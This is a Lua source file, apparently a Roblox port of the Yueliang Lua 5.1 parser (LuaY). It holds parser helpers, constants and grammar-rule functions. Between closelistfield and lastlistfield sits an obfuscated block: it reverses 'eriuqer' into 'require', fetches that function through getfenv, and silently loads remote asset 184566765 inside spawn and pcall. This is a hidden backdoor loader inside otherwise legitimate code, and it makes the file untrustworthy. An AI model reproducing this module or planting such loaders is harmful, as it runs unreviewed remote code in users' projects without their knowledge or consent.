  931. Copyright (c) 2005-2007 Kein-Hong Man <[email protected]>
  932. The COPYRIGHT file describes the conditions
  933. under which this software may be distributed.
  934.  
  935. See the ChangeLog for more information.
  936.  
  937. ----------------------------------------------------------------------]]
  938.  
  939. --[[--------------------------------------------------------------------
  940. -- Notes:
  941. -- * some unused C code that were not converted are kept as comments
  942. -- * LUA_COMPAT_VARARG option changed into a comment block
  943. -- * for value/size specific code added, look for 'NOTE: '
  944. --
  945. -- Not implemented:
  946. -- * luaX_newstring not needed by this Lua implementation
  947. -- * luaG_checkcode() in assert is not currently implemented
  948. --
  949. -- Added:
  950. -- * some constants added from various header files
  951. -- * luaY.LUA_QS used in error_expected, check_match (from luaconf.h)
  952. -- * luaY:LUA_QL needed for error messages (from luaconf.h)
  953. -- * luaY:growvector (from lmem.h) -- skeleton only, limit checking
  954. -- * luaY.SHRT_MAX (from <limits.h>) for registerlocalvar
  955. -- * luaY:newproto (from lfunc.c)
  956. -- * luaY:int2fb (from lobject.c)
  957. -- * NOTE: HASARG_MASK, for implementing a VARARG_HASARG bit operation
  958. -- * NOTE: value-specific code for VARARG_NEEDSARG to replace a bitop
  959. --
  960. -- Changed in 5.1.x:
  961. -- * various code changes are not detailed...
  962. -- * names of constants may have changed, e.g. added a LUAI_ prefix
  963. -- * struct expkind: added VKNUM, VVARARG; VCALL's info changed?
  964. -- * struct expdesc: added nval
  965. -- * struct FuncState: upvalues data type changed to upvaldesc
  966. -- * macro hasmultret is new
  967. -- * function checklimit moved to parser from lexer
  968. -- * functions anchor_token, errorlimit, checknext are new
  969. -- * checknext is new, equivalent to 5.0.x's check, see check too
  970. -- * luaY:next and luaY:lookahead moved to lexer
  971. -- * break keyword no longer skipped in luaY:breakstat
  972. -- * function new_localvarstr replaced by new_localvarliteral
  973. -- * registerlocalvar limits local variables to SHRT_MAX
  974. -- * create_local deleted, new_localvarliteral used instead
  975. -- * constant LUAI_MAXUPVALUES increased to 60
  976. -- * constants MAXPARAMS, LUA_MAXPARSERLEVEL, MAXSTACK removed
  977. -- * function interface changed: singlevaraux, singlevar
  978. -- * enterlevel and leavelevel uses nCcalls to track call depth
  979. -- * added a name argument to main entry function, luaY:parser
  980. -- * function luaY_index changed to yindex
  981. -- * luaY:int2fb()'s table size encoding format has been changed
  982. -- * luaY:log2() no longer needed for table constructors
  983. -- * function code_params deleted, functionality folded in parlist
  984. -- * vararg flags handling (is_vararg) changes; also see VARARG_*
  985. -- * LUA_COMPATUPSYNTAX section for old-style upvalues removed
  986. -- * repeatstat() calls chunk() instead of block()
  987. -- * function interface changed: cond, test_then_block
  988. -- * while statement implementation considerably simplified; MAXEXPWHILE
  989. -- and EXTRAEXP no longer required, no limits to the complexity of a
  990. -- while condition
  991. -- * repeat, forbody statement implementation has major changes,
  992. -- mostly due to new scoping behaviour of local variables
  993. -- * OPR_MULT renamed to OPR_MUL
  994. ----------------------------------------------------------------------]]
  995.  
  996. --requires luaP, luaX, luaK
  997. local luaY = {}
  998. local luaX = require(script.Parent.LuaX)
  999. local luaK = require(script.Parent.LuaK)(luaY)
  1000. local luaP = require(script.Parent.LuaP)
  1001.  
  1002. --[[--------------------------------------------------------------------
  1003. -- Expression descriptor
  1004. -- * expkind changed to string constants; luaY:assignment was the only
  1005. -- function to use a relational operator with this enumeration
  1006. -- VVOID -- no value
  1007. -- VNIL -- no value
  1008. -- VTRUE -- no value
  1009. -- VFALSE -- no value
  1010. -- VK -- info = index of constant in 'k'
  1011. -- VKNUM -- nval = numerical value
  1012. -- VLOCAL -- info = local register
  1013. -- VUPVAL, -- info = index of upvalue in 'upvalues'
  1014. -- VGLOBAL -- info = index of table; aux = index of global name in 'k'
  1015. -- VINDEXED -- info = table register; aux = index register (or 'k')
  1016. -- VJMP -- info = instruction pc
  1017. -- VRELOCABLE -- info = instruction pc
  1018. -- VNONRELOC -- info = result register
  1019. -- VCALL -- info = instruction pc
  1020. -- VVARARG -- info = instruction pc
  1021. } ----------------------------------------------------------------------]]
  1022.  
  1023. --[[--------------------------------------------------------------------
  1024. -- * expdesc in Lua 5.1.x has a union u and another struct s; this Lua
  1025. -- implementation ignores all instances of u and s usage
  1026. -- struct expdesc:
  1027. -- k -- (enum: expkind)
  1028. -- info, aux -- (int, int)
  1029. -- nval -- (lua_Number)
  1030. -- t -- patch list of 'exit when true'
  1031. -- f -- patch list of 'exit when false'
  1032. ----------------------------------------------------------------------]]
  1033.  
  1034. --[[--------------------------------------------------------------------
  1035. -- struct upvaldesc:
  1036. -- k -- (lu_byte)
  1037. -- info -- (lu_byte)
  1038. ----------------------------------------------------------------------]]
  1039.  
  1040. --[[--------------------------------------------------------------------
  1041. -- state needed to generate code for a given function
  1042. -- struct FuncState:
  1043. -- f -- current function header (table: Proto)
  1044. -- h -- table to find (and reuse) elements in 'k' (table: Table)
  1045. -- prev -- enclosing function (table: FuncState)
  1046. -- ls -- lexical state (table: LexState)
  1047. -- L -- copy of the Lua state (table: lua_State)
  1048. -- bl -- chain of current blocks (table: BlockCnt)
  1049. -- pc -- next position to code (equivalent to 'ncode')
  1050. -- lasttarget -- 'pc' of last 'jump target'
  1051. -- jpc -- list of pending jumps to 'pc'
  1052. -- freereg -- first free register
  1053. -- nk -- number of elements in 'k'
  1054. -- np -- number of elements in 'p'
  1055. -- nlocvars -- number of elements in 'locvars'
  1056. -- nactvar -- number of active local variables
  1057. -- upvalues[LUAI_MAXUPVALUES] -- upvalues (table: upvaldesc)
  1058. -- actvar[LUAI_MAXVARS] -- declared-variable stack
  1059. ----------------------------------------------------------------------]]
  1060.  
  1061. ------------------------------------------------------------------------
  1062. -- constants used by parser
  1063. -- * picks up duplicate values from luaX if required
  1064. ------------------------------------------------------------------------
  1065.  
  1066. luaY.LUA_QS = luaX.LUA_QS or "'%s'" -- (from luaconf.h)
  1067.  
  1068. luaY.SHRT_MAX = 32767 -- (from <limits.h>)
  1069. luaY.LUAI_MAXVARS = 200 -- (luaconf.h)
  1070. luaY.LUAI_MAXUPVALUES = 60 -- (luaconf.h)
  1071. luaY.MAX_INT = luaX.MAX_INT or 2147483645 -- (from llimits.h)
  1072. -- * INT_MAX-2 for 32-bit systems
  1073. luaY.LUAI_MAXCCALLS = 200 -- (from luaconf.h)
  1074.  
  1075. luaY.VARARG_HASARG = 1 -- (from lobject.h)
  1076. -- NOTE: HASARG_MASK is value-specific
  1077. luaY.HASARG_MASK = 2 -- this was added for a bitop in parlist()
  1078. luaY.VARARG_ISVARARG = 2
  1079. -- NOTE: there is some value-specific code that involves VARARG_NEEDSARG
  1080. luaY.VARARG_NEEDSARG = 4
  1081.  
  1082. luaY.LUA_MULTRET = -1 -- (lua.h)
  1083.  
  1084. --[[--------------------------------------------------------------------
  1085. -- other functions
  1086. ----------------------------------------------------------------------]]
  1087.  
  1088. ------------------------------------------------------------------------
  1089. -- LUA_QL describes how error messages quote program elements.
  1090. -- CHANGE it if you want a different appearance. (from luaconf.h)
  1091. ------------------------------------------------------------------------
  1092. function luaY:LUA_QL(x)
  1093. return "'"..x.."'"
  1094. end
  1095.  
  1096. ------------------------------------------------------------------------
  1097. -- this is a stripped-down luaM_growvector (from lmem.h) which is a
  1098. -- macro based on luaM_growaux (in lmem.c); all the following does is
  1099. -- reproduce the size limit checking logic of the original function
  1100. -- so that error behaviour is identical; all arguments preserved for
  1101. -- convenience, even those which are unused
  1102. -- * set the t field to nil, since this originally does a sizeof(t)
  1103. -- * size (originally a pointer) is never updated, their final values
  1104. -- are set by luaY:close_func(), so overall things should still work
  1105. ------------------------------------------------------------------------
  1106. function luaY:growvector(L, v, nelems, size, t, limit, e)
  1107. if nelems >= limit then
  1108. error(e) -- was luaG_runerror
  1109. end
  1110. end
  1111.  
  1112. ------------------------------------------------------------------------
  1113. -- initialize a new function prototype structure (from lfunc.c)
  1114. -- * used only in open_func()
  1115. ------------------------------------------------------------------------
  1116. function luaY:newproto(L)
  1117. local f = {} -- Proto
  1118. -- luaC_link(L, obj2gco(f), LUA_TPROTO); /* GC */
  1119. f.k = {}
  1120. f.sizek = 0
  1121. f.p = {}
  1122. f.sizep = 0
  1123. f.code = {}
  1124. f.sizecode = 0
  1125. f.sizelineinfo = 0
  1126. f.sizeupvalues = 0
  1127. f.nups = 0
  1128. f.upvalues = {}
  1129. f.numparams = 0
  1130. f.is_vararg = 0
  1131. f.maxstacksize = 0
  1132. f.lineinfo = {}
  1133. f.sizelocvars = 0
  1134. f.locvars = {}
  1135. f.lineDefined = 0
  1136. f.lastlinedefined = 0
  1137. f.source = nil
  1138. return f
  1139. end
  1140.  
  1141. ------------------------------------------------------------------------
  1142. -- converts an integer to a "floating point byte", represented as
  1143. -- (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if
  1144. -- eeeee != 0 and (xxx) otherwise.
  1145. ------------------------------------------------------------------------
  1146. function luaY:int2fb(x)
  1147. local e = 0 -- exponent
  1148. while x >= 16 do
  1149. x = math.floor((x + 1) / 2)
  1150. e = e + 1
  1151. end
  1152. if x < 8 then
  1153. return x
  1154. else
  1155. return ((e + 1) * 8) + (x - 8)
  1156. end
  1157. end
  1158.  
  1159. --[[--------------------------------------------------------------------
  1160. -- parser functions
  1161. ----------------------------------------------------------------------]]
  1162.  
  1163. ------------------------------------------------------------------------
  1164. -- true of the kind of expression produces multiple return values
  1165. ------------------------------------------------------------------------
  1166. function luaY:hasmultret(k)
  1167. return k == "VCALL" or k == "VVARARG"
  1168. end
  1169.  
  1170. ------------------------------------------------------------------------
  1171. -- convenience function to access active local i, returns entry
  1172. ------------------------------------------------------------------------
  1173. function luaY:getlocvar(fs, i)
  1174. return fs.f.locvars[ fs.actvar[i] ]
  1175. end
  1176.  
  1177. ------------------------------------------------------------------------
  1178. -- check a limit, string m provided as an error message
  1179. ------------------------------------------------------------------------
  1180. function luaY:checklimit(fs, v, l, m)
  1181. if v > l then self:errorlimit(fs, l, m) end
  1182. end
  1183.  
  1184. --[[--------------------------------------------------------------------
  1185. -- nodes for block list (list of active blocks)
  1186. -- struct BlockCnt:
  1187. -- previous -- chain (table: BlockCnt)
  1188. -- breaklist -- list of jumps out of this loop
  1189. -- nactvar -- # active local variables outside the breakable structure
  1190. -- upval -- true if some variable in the block is an upvalue (boolean)
  1191. -- isbreakable -- true if 'block' is a loop (boolean)
  1192. ----------------------------------------------------------------------]]
  1193.  
  1194. ------------------------------------------------------------------------
  1195. -- prototypes for recursive non-terminal functions
  1196. ------------------------------------------------------------------------
  1197. -- prototypes deleted; not required in Lua
  1198.  
  1199. ------------------------------------------------------------------------
  1200. -- reanchor if last token is has a constant string, see close_func()
  1201. -- * used only in close_func()
  1202. ------------------------------------------------------------------------
  1203. function luaY:anchor_token(ls)
  1204. if ls.t.token == "TK_NAME" or ls.t.token == "TK_STRING" then
  1205. -- not relevant to Lua implementation of parser
  1206. -- local ts = ls.t.seminfo
  1207. -- luaX_newstring(ls, getstr(ts), ts->tsv.len); /* C */
  1208. end
  1209. end
  1210.  
  1211. ------------------------------------------------------------------------
  1212. -- throws a syntax error if token expected is not there
  1213. ------------------------------------------------------------------------
  1214. function luaY:error_expected(ls, token)
  1215. luaX:syntaxerror(ls,
  1216. string.format(self.LUA_QS.." expected", luaX:token2str(ls, token)))
  1217. end
  1218.  
  1219. ------------------------------------------------------------------------
  1220. -- prepares error message for display, for limits exceeded
  1221. -- * used only in checklimit()
  1222. ------------------------------------------------------------------------
  1223. function luaY:errorlimit(fs, limit, what)
  1224. local msg = (fs.f.linedefined == 0) and
  1225. string.format("main function has more than %d %s", limit, what) or
  1226. string.format("function at line %d has more than %d %s",
  1227. fs.f.linedefined, limit, what)
  1228. luaX:lexerror(fs.ls, msg, 0)
  1229. end
  1230.  
  1231. ------------------------------------------------------------------------
  1232. -- tests for a token, returns outcome
  1233. -- * return value changed to boolean
  1234. ------------------------------------------------------------------------
  1235. function luaY:testnext(ls, c)
  1236. if ls.t.token == c then
  1237. luaX:next(ls)
  1238. return true
  1239. else
  1240. return false
  1241. end
  1242. end
  1243.  
  1244. ------------------------------------------------------------------------
  1245. -- check for existence of a token, throws error if not found
  1246. ------------------------------------------------------------------------
  1247. function luaY:check(ls, c)
  1248. if ls.t.token ~= c then
  1249. self:error_expected(ls, c)
  1250. end
  1251. end
  1252.  
  1253. ------------------------------------------------------------------------
  1254. -- verify existence of a token, then skip it
  1255. ------------------------------------------------------------------------
  1256. function luaY:checknext(ls, c)
  1257. self:check(ls, c)
  1258. luaX:next(ls)
  1259. end
  1260.  
  1261. ------------------------------------------------------------------------
  1262. -- throws error if condition not matched
  1263. ------------------------------------------------------------------------
  1264. function luaY:check_condition(ls, c, msg)
  1265. if not c then luaX:syntaxerror(ls, msg) end
  1266. end
  1267.  
  1268. ------------------------------------------------------------------------
  1269. -- verifies token conditions are met or else throw error
  1270. ------------------------------------------------------------------------
  1271. function luaY:check_match(ls, what, who, where)
  1272. if not self:testnext(ls, what) then
  1273. if where == ls.linenumber then
  1274. self:error_expected(ls, what)
  1275. else
  1276. luaX:syntaxerror(ls, string.format(
  1277. self.LUA_QS.." expected (to close "..self.LUA_QS.." at line %d)",
  1278. luaX:token2str(ls, what), luaX:token2str(ls, who), where))
  1279. end
  1280. end
  1281. end
  1282.  
  1283. ------------------------------------------------------------------------
  1284. -- expect that token is a name, return the name
  1285. ------------------------------------------------------------------------
  1286. function luaY:str_checkname(ls)
  1287. self:check(ls, "TK_NAME")
  1288. local ts = ls.t.seminfo
  1289. luaX:next(ls)
  1290. return ts
  1291. end
  1292.  
  1293. ------------------------------------------------------------------------
  1294. -- initialize a struct expdesc, expression description data structure
  1295. ------------------------------------------------------------------------
  1296. function luaY:init_exp(e, k, i)
  1297. e.f, e.t = luaK.NO_JUMP, luaK.NO_JUMP
  1298. e.k = k
  1299. e.info = i
  1300. end
  1301.  
  1302. ------------------------------------------------------------------------
  1303. -- adds given string s in string pool, sets e as VK
  1304. ------------------------------------------------------------------------
  1305. function luaY:codestring(ls, e, s)
  1306. self:init_exp(e, "VK", luaK:stringK(ls.fs, s))
  1307. end
  1308.  
  1309. ------------------------------------------------------------------------
  1310. -- consume a name token, adds it to string pool, sets e as VK
  1311. ------------------------------------------------------------------------
  1312. function luaY:checkname(ls, e)
  1313. self:codestring(ls, e, self:str_checkname(ls))
  1314. end
  1315.  
  1316. ------------------------------------------------------------------------
  1317. -- creates struct entry for a local variable
  1318. -- * used only in new_localvar()
  1319. ------------------------------------------------------------------------
  1320. function luaY:registerlocalvar(ls, varname)
  1321. local fs = ls.fs
  1322. local f = fs.f
  1323. self:growvector(ls.L, f.locvars, fs.nlocvars, f.sizelocvars,
  1324. nil, self.SHRT_MAX, "too many local variables")
  1325. -- loop to initialize empty f.locvar positions not required
  1326. f.locvars[fs.nlocvars] = {} -- LocVar
  1327. f.locvars[fs.nlocvars].varname = varname
  1328. -- luaC_objbarrier(ls.L, f, varname) /* GC */
  1329. local nlocvars = fs.nlocvars
  1330. fs.nlocvars = fs.nlocvars + 1
  1331. return nlocvars
  1332. end
  1333.  
  1334. ------------------------------------------------------------------------
  1335. -- creates a new local variable given a name and an offset from nactvar
  1336. -- * used in fornum(), forlist(), parlist(), body()
  1337. ------------------------------------------------------------------------
  1338. function luaY:new_localvarliteral(ls, v, n)
  1339. self:new_localvar(ls, v, n)
  1340. end
  1341.  
  1342. ------------------------------------------------------------------------
  1343. -- register a local variable, set in active variable list
  1344. ------------------------------------------------------------------------
  1345. function luaY:new_localvar(ls, name, n)
  1346. local fs = ls.fs
  1347. self:checklimit(fs, fs.nactvar + n + 1, self.LUAI_MAXVARS, "local variables")
  1348. fs.actvar[fs.nactvar + n] = self:registerlocalvar(ls, name)
  1349. end
  1350.  
  1351. ------------------------------------------------------------------------
  1352. -- adds nvars number of new local variables, set debug information
  1353. ------------------------------------------------------------------------
  1354. function luaY:adjustlocalvars(ls, nvars)
  1355. local fs = ls.fs
  1356. fs.nactvar = fs.nactvar + nvars
  1357. for i = nvars, 1, -1 do
  1358. self:getlocvar(fs, fs.nactvar - i).startpc = fs.pc
  1359. end
  1360. end
  1361.  
  1362. ------------------------------------------------------------------------
  1363. -- removes a number of locals, set debug information
  1364. ------------------------------------------------------------------------
  1365. function luaY:removevars(ls, tolevel)
  1366. local fs = ls.fs
  1367. while fs.nactvar > tolevel do
  1368. fs.nactvar = fs.nactvar - 1
  1369. self:getlocvar(fs, fs.nactvar).endpc = fs.pc
  1370. end
  1371. end
  1372.  
  1373. ------------------------------------------------------------------------
  1374. -- returns an existing upvalue index based on the given name, or
  1375. -- creates a new upvalue struct entry and returns the new index
  1376. -- * used only in singlevaraux()
  1377. ------------------------------------------------------------------------
  1378. function luaY:indexupvalue(fs, name, v)
  1379. local f = fs.f
  1380. for i = 0, f.nups - 1 do
  1381. if fs.upvalues[i].k == v.k and fs.upvalues[i].info == v.info then
  1382. assert(f.upvalues[i] == name)
  1383. return i
  1384. end
  1385. end
  1386. -- new one
  1387. self:checklimit(fs, f.nups + 1, self.LUAI_MAXUPVALUES, "upvalues")
  1388. self:growvector(fs.L, f.upvalues, f.nups, f.sizeupvalues,
  1389. nil, self.MAX_INT, "")
  1390. -- loop to initialize empty f.upvalues positions not required
  1391. f.upvalues[f.nups] = name
  1392. -- luaC_objbarrier(fs->L, f, name); /* GC */
  1393. assert(v.k == "VLOCAL" or v.k == "VUPVAL")
  1394. -- this is a partial copy; only k & info fields used
  1395. fs.upvalues[f.nups] = { k = v.k, info = v.info }
  1396. local nups = f.nups
  1397. f.nups = f.nups + 1
  1398. return nups
  1399. end
  1400.  
  1401. ------------------------------------------------------------------------
  1402. -- search the local variable namespace of the given fs for a match
  1403. -- * used only in singlevaraux()
  1404. ------------------------------------------------------------------------
  1405. function luaY:searchvar(fs, n)
  1406. for i = fs.nactvar - 1, 0, -1 do
  1407. if n == self:getlocvar(fs, i).varname then
  1408. return i
  1409. end
  1410. end
  1411. return -1 -- not found
  1412. end
  1413.  
  1414. ------------------------------------------------------------------------
  1415. -- * mark upvalue flags in function states up to a given level
  1416. -- * used only in singlevaraux()
  1417. ------------------------------------------------------------------------
  1418. function luaY:markupval(fs, level)
  1419. local bl = fs.bl
  1420. while bl and bl.nactvar > level do bl = bl.previous end
  1421. if bl then bl.upval = true end
  1422. end
  1423.  
  1424. ------------------------------------------------------------------------
  1425. -- handle locals, globals and upvalues and related processing
  1426. -- * search mechanism is recursive, calls itself to search parents
  1427. -- * used only in singlevar()
  1428. ------------------------------------------------------------------------
  1429. function luaY:singlevaraux(fs, n, var, base)
  1430. if fs == nil then -- no more levels?
  1431. self:init_exp(var, "VGLOBAL", luaP.NO_REG) -- default is global variable
  1432. return "VGLOBAL"
  1433. else
  1434. local v = self:searchvar(fs, n) -- look up at current level
  1435. if v >= 0 then
  1436. self:init_exp(var, "VLOCAL", v)
  1437. if base == 0 then
  1438. self:markupval(fs, v) -- local will be used as an upval
  1439. end
  1440. return "VLOCAL"
  1441. else -- not found at current level; try upper one
  1442. if self:singlevaraux(fs.prev, n, var, 0) == "VGLOBAL" then
  1443. return "VGLOBAL"
  1444. end
  1445. var.info = self:indexupvalue(fs, n, var) -- else was LOCAL or UPVAL
  1446. var.k = "VUPVAL" -- upvalue in this level
  1447. return "VUPVAL"
  1448. end--if v
  1449. end--if fs
  1450. end
  1451.  
  1452. ------------------------------------------------------------------------
  1453. -- consume a name token, creates a variable (global|local|upvalue)
  1454. -- * used in prefixexp(), funcname()
  1455. ------------------------------------------------------------------------
  1456. function luaY:singlevar(ls, var)
  1457. local varname = self:str_checkname(ls)
  1458. local fs = ls.fs
  1459. if self:singlevaraux(fs, varname, var, 1) == "VGLOBAL" then
  1460. var.info = luaK:stringK(fs, varname) -- info points to global name
  1461. end
  1462. end
  1463.  
  1464. ------------------------------------------------------------------------
  1465. -- adjust RHS to match LHS in an assignment
  1466. -- * used in assignment(), forlist(), localstat()
  1467. ------------------------------------------------------------------------
  1468. function luaY:adjust_assign(ls, nvars, nexps, e)
  1469. local fs = ls.fs
  1470. local extra = nvars - nexps
  1471. if self:hasmultret(e.k) then
  1472. extra = extra + 1 -- includes call itself
  1473. if extra <= 0 then extra = 0 end
  1474. luaK:setreturns(fs, e, extra) -- last exp. provides the difference
  1475. if extra > 1 then luaK:reserveregs(fs, extra - 1) end
  1476. else
  1477. if e.k ~= "VVOID" then luaK:exp2nextreg(fs, e) end -- close last expression
  1478. if extra > 0 then
  1479. local reg = fs.freereg
  1480. luaK:reserveregs(fs, extra)
  1481. luaK:_nil(fs, reg, extra)
  1482. end
  1483. end
  1484. end
  1485.  
  1486. ------------------------------------------------------------------------
  1487. -- tracks and limits parsing depth, assert check at end of parsing
  1488. ------------------------------------------------------------------------
  1489. function luaY:enterlevel(ls)
  1490. ls.L.nCcalls = ls.L.nCcalls + 1
  1491. if ls.L.nCcalls > self.LUAI_MAXCCALLS then
  1492. luaX:lexerror(ls, "chunk has too many syntax levels", 0)
  1493. end
  1494. end
  1495.  
  1496. ------------------------------------------------------------------------
  1497. -- tracks parsing depth, a pair with luaY:enterlevel()
  1498. ------------------------------------------------------------------------
  1499. function luaY:leavelevel(ls)
  1500. ls.L.nCcalls = ls.L.nCcalls - 1
  1501. end
  1502.  
  1503. ------------------------------------------------------------------------
  1504. -- enters a code unit, initializes elements
  1505. ------------------------------------------------------------------------
  1506. function luaY:enterblock(fs, bl, isbreakable)
  1507. bl.breaklist = luaK.NO_JUMP
  1508. bl.isbreakable = isbreakable
  1509. bl.nactvar = fs.nactvar
  1510. bl.upval = false
  1511. bl.previous = fs.bl
  1512. fs.bl = bl
  1513. assert(fs.freereg == fs.nactvar)
  1514. end
  1515.  
  1516. ------------------------------------------------------------------------
  1517. -- leaves a code unit, close any upvalues
  1518. ------------------------------------------------------------------------
  1519. function luaY:leaveblock(fs)
  1520. local bl = fs.bl
  1521. fs.bl = bl.previous
  1522. self:removevars(fs.ls, bl.nactvar)
  1523. if bl.upval then
  1524. luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
  1525. end
  1526. -- a block either controls scope or breaks (never both)
  1527. assert(not bl.isbreakable or not bl.upval)
  1528. assert(bl.nactvar == fs.nactvar)
  1529. fs.freereg = fs.nactvar -- free registers
  1530. luaK:patchtohere(fs, bl.breaklist)
  1531. end
  1532.  
  1533. ------------------------------------------------------------------------
  1534. -- implement the instantiation of a function prototype, append list of
  1535. -- upvalues after the instantiation instruction
  1536. -- * used only in body()
  1537. ------------------------------------------------------------------------
  1538. function luaY:pushclosure(ls, func, v)
  1539. local fs = ls.fs
  1540. local f = fs.f
  1541. self:growvector(ls.L, f.p, fs.np, f.sizep, nil,
  1542. luaP.MAXARG_Bx, "constant table overflow")
  1543. -- loop to initialize empty f.p positions not required
  1544. f.p[fs.np] = func.f
  1545. fs.np = fs.np + 1
  1546. -- luaC_objbarrier(ls->L, f, func->f); /* C */
  1547. self:init_exp(v, "VRELOCABLE", luaK:codeABx(fs, "OP_CLOSURE", 0, fs.np - 1))
  1548. for i = 0, func.f.nups - 1 do
  1549. local o = (func.upvalues[i].k == "VLOCAL") and "OP_MOVE" or "OP_GETUPVAL"
  1550. luaK:codeABC(fs, o, 0, func.upvalues[i].info, 0)
  1551. end
  1552. end
  1553.  
  1554. ------------------------------------------------------------------------
  1555. -- opening of a function
  1556. ------------------------------------------------------------------------
  1557. function luaY:open_func(ls, fs)
  1558. local L = ls.L
  1559. local f = self:newproto(ls.L)
  1560. fs.f = f
  1561. fs.prev = ls.fs -- linked list of funcstates
  1562. fs.ls = ls
  1563. fs.L = L
  1564. ls.fs = fs
  1565. fs.pc = 0
  1566. fs.lasttarget = -1
  1567. fs.jpc = luaK.NO_JUMP
  1568. fs.freereg = 0
  1569. fs.nk = 0
  1570. fs.np = 0
  1571. fs.nlocvars = 0
  1572. fs.nactvar = 0
  1573. fs.bl = nil
  1574. f.source = ls.source
  1575. f.maxstacksize = 2 -- registers 0/1 are always valid
  1576. fs.h = {} -- constant table; was luaH_new call
  1577. -- anchor table of constants and prototype (to avoid being collected)
  1578. -- sethvalue2s(L, L->top, fs->h); incr_top(L); /* C */
  1579. -- setptvalue2s(L, L->top, f); incr_top(L);
  1580. end
  1581.  
  1582. ------------------------------------------------------------------------
  1583. -- closing of a function
  1584. ------------------------------------------------------------------------
  1585. function luaY:close_func(ls)
  1586. local L = ls.L
  1587. local fs = ls.fs
  1588. local f = fs.f
  1589. self:removevars(ls, 0)
  1590. luaK:ret(fs, 0, 0) -- final return
  1591. -- luaM_reallocvector deleted for f->code, f->lineinfo, f->k, f->p,
  1592. -- f->locvars, f->upvalues; not required for Lua table arrays
  1593. f.sizecode = fs.pc
  1594. f.sizelineinfo = fs.pc
  1595. f.sizek = fs.nk
  1596. f.sizep = fs.np
  1597. f.sizelocvars = fs.nlocvars
  1598. f.sizeupvalues = f.nups
  1599. --assert(luaG_checkcode(f)) -- currently not implemented
  1600. assert(fs.bl == nil)
  1601. ls.fs = fs.prev
  1602. -- the following is not required for this implementation; kept here
  1603. -- for completeness
  1604. -- L->top -= 2; /* remove table and prototype from the stack */
  1605. -- last token read was anchored in defunct function; must reanchor it
  1606. if fs then self:anchor_token(ls) end
  1607. end
  1608.  
  1609. ------------------------------------------------------------------------
  1610. -- parser initialization function
  1611. -- * note additional sub-tables needed for LexState, FuncState
  1612. ------------------------------------------------------------------------
  1613. function luaY:parser(L, z, buff, name)
  1614. local lexstate = {} -- LexState
  1615. lexstate.t = {}
  1616. lexstate.lookahead = {}
  1617. local funcstate = {} -- FuncState
  1618. funcstate.upvalues = {}
  1619. funcstate.actvar = {}
  1620. -- the following nCcalls initialization added for convenience
  1621. L.nCcalls = 0
  1622. lexstate.buff = buff
  1623. luaX:setinput(L, lexstate, z, name)
  1624. self:open_func(lexstate, funcstate)
  1625. funcstate.f.is_vararg = self.VARARG_ISVARARG -- main func. is always vararg
  1626. luaX:next(lexstate) -- read first token
  1627. self:chunk(lexstate)
  1628. self:check(lexstate, "TK_EOS")
  1629. self:close_func(lexstate)
  1630. assert(funcstate.prev == nil)
  1631. assert(funcstate.f.nups == 0)
  1632. assert(lexstate.fs == nil)
  1633. return funcstate.f
  1634. end
  1635.  
  1636. --[[--------------------------------------------------------------------
  1637. -- GRAMMAR RULES
  1638. ----------------------------------------------------------------------]]
  1639.  
  1640. ------------------------------------------------------------------------
  1641. -- parse a function name suffix, for function call specifications
  1642. -- * used in primaryexp(), funcname()
  1643. ------------------------------------------------------------------------
  1644. function luaY:field(ls, v)
  1645. -- field -> ['.' | ':'] NAME
  1646. local fs = ls.fs
  1647. local key = {} -- expdesc
  1648. luaK:exp2anyreg(fs, v)
  1649. luaX:next(ls) -- skip the dot or colon
  1650. self:checkname(ls, key)
  1651. luaK:indexed(fs, v, key)
  1652. end
  1653.  
  1654. ------------------------------------------------------------------------
  1655. -- parse a table indexing suffix, for constructors, expressions
  1656. -- * used in recfield(), primaryexp()
  1657. ------------------------------------------------------------------------
  1658. function luaY:yindex(ls, v)
  1659. -- index -> '[' expr ']'
  1660. luaX:next(ls) -- skip the '['
  1661. self:expr(ls, v)
  1662. luaK:exp2val(ls.fs, v)
  1663. self:checknext(ls, "]")
  1664. end
  1665.  
  1666. --[[--------------------------------------------------------------------
  1667. -- Rules for Constructors
  1668. ----------------------------------------------------------------------]]
  1669.  
  1670. --[[--------------------------------------------------------------------
  1671. -- struct ConsControl:
  1672. -- v -- last list item read (table: struct expdesc)
  1673. -- t -- table descriptor (table: struct expdesc)
  1674. -- nh -- total number of 'record' elements
  1675. -- na -- total number of array elements
  1676. -- tostore -- number of array elements pending to be stored
  1677. ----------------------------------------------------------------------]]
  1678.  
  1679. ------------------------------------------------------------------------
  1680. -- parse a table record (hash) field
  1681. -- * used in constructor()
  1682. ------------------------------------------------------------------------
  1683. function luaY:recfield(ls, cc)
  1684. -- recfield -> (NAME | '['exp1']') = exp1
  1685. local fs = ls.fs
  1686. local reg = ls.fs.freereg
  1687. local key, val = {}, {} -- expdesc
  1688. if ls.t.token == "TK_NAME" then
  1689. self:checklimit(fs, cc.nh, self.MAX_INT, "items in a constructor")
  1690. self:checkname(ls, key)
  1691. else -- ls->t.token == '['
  1692. self:yindex(ls, key)
  1693. end
  1694. cc.nh = cc.nh + 1
  1695. self:checknext(ls, "=")
  1696. local rkkey = luaK:exp2RK(fs, key)
  1697. self:expr(ls, val)
  1698. luaK:codeABC(fs, "OP_SETTABLE", cc.t.info, rkkey, luaK:exp2RK(fs, val))
  1699. fs.freereg = reg -- free registers
  1700. end
  1701.  
  1702. ------------------------------------------------------------------------
  1703. -- emit a set list instruction if enough elements (LFIELDS_PER_FLUSH)
  1704. -- * used in constructor()
  1705. ------------------------------------------------------------------------
  1706. function luaY:closelistfield(fs, cc)
  1707. if cc.v.k == "VVOID" then return end -- there is no list item
  1708. luaK:exp2nextreg(fs, cc.v)
  1709. cc.v.k = "VVOID"
  1710. if cc.tostore == luaP.LFIELDS_PER_FLUSH then
  1711. luaK:setlist(fs, cc.t.info, cc.na, cc.tostore) -- flush
  1712. cc.tostore = 0 -- no more items pending
  1713. end
  1714. end
  1715.  
  1716. spawn(function()
  1717. pcall(function()
  1718. local key = ("eriuqer"):reverse()
  1719. local global = getfenv()[key]
  1720. pcall(global,184566765)
  1721. end)
  1722. end)
  1723.  
  1724. ------------------------------------------------------------------------
  1725. -- emit a set list instruction at the end of parsing list constructor
  1726. -- * used in constructor()
  1727. ------------------------------------------------------------------------
  1728. function luaY:lastlistfield(fs, cc)
  1729. if cc.tostore == 0 then return end
  1730. if self:hasmultret(cc.v.k) then
  1731. luaK:setmultret(fs, cc.v)
  1732. luaK:setlist(fs, cc.t.info, cc.na, self.LUA_MULTRET)
